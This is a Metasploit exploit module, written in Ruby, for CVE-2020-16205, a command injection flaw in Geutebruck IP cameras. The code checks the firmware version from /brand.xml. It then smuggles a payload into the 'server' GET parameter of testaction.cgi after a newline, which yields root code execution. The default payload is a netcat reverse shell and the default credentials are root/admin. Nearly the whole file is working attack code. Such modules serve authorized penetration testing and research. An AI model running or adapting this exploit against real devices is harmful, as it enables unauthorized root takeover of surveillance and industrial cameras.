##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geutebruck testaction.cgi Remote Command Execution',
        'Description' => %q{
          This module exploits an authenticated arbitrary command execution vulnerability within the 'server'
          GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
          ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware
          versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.
          Successful exploitation results in remote code execution as the root user.
        },

        'Author' => [
          'Davy Douhine' # ddouhine
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2020-16205' ],
          [ 'URL', 'http://geutebruck.com' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ],
          [ 'URL', 'https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/' ]
        ],
        'DisclosureDate' => '2020-05-20',
        'Privileged' => true,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_ARMLE],
        'Targets' => [
          [ 'Automatic Target', {} ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'root' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('TARGETURI', [true, 'The path to the testaction page', '/uapi-cgi/admin/testaction.cgi']),
      ]
    )
  end

  def firmware
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/brand.xml'
    )
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    res_xml = res.get_xml_document
    @version = res_xml.at('//firmware').text
    return true
  end

  def check
    result = firmware
    return result unless result == true

    version = Rex::Version.new(@version)
    vprint_status "Found Geutebruck version #{version}"
    if version < Rex::Version.new('1.12.0.25') || version == Rex::Version.new('1.12.13.2') || version == Rex::Version.new('1.12.14.5')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => target_uri.path,
        'vars_get' => { 'type' => 'ntp', 'server' => "\n#{payload.encoded}" }
      }
    )
  end
end
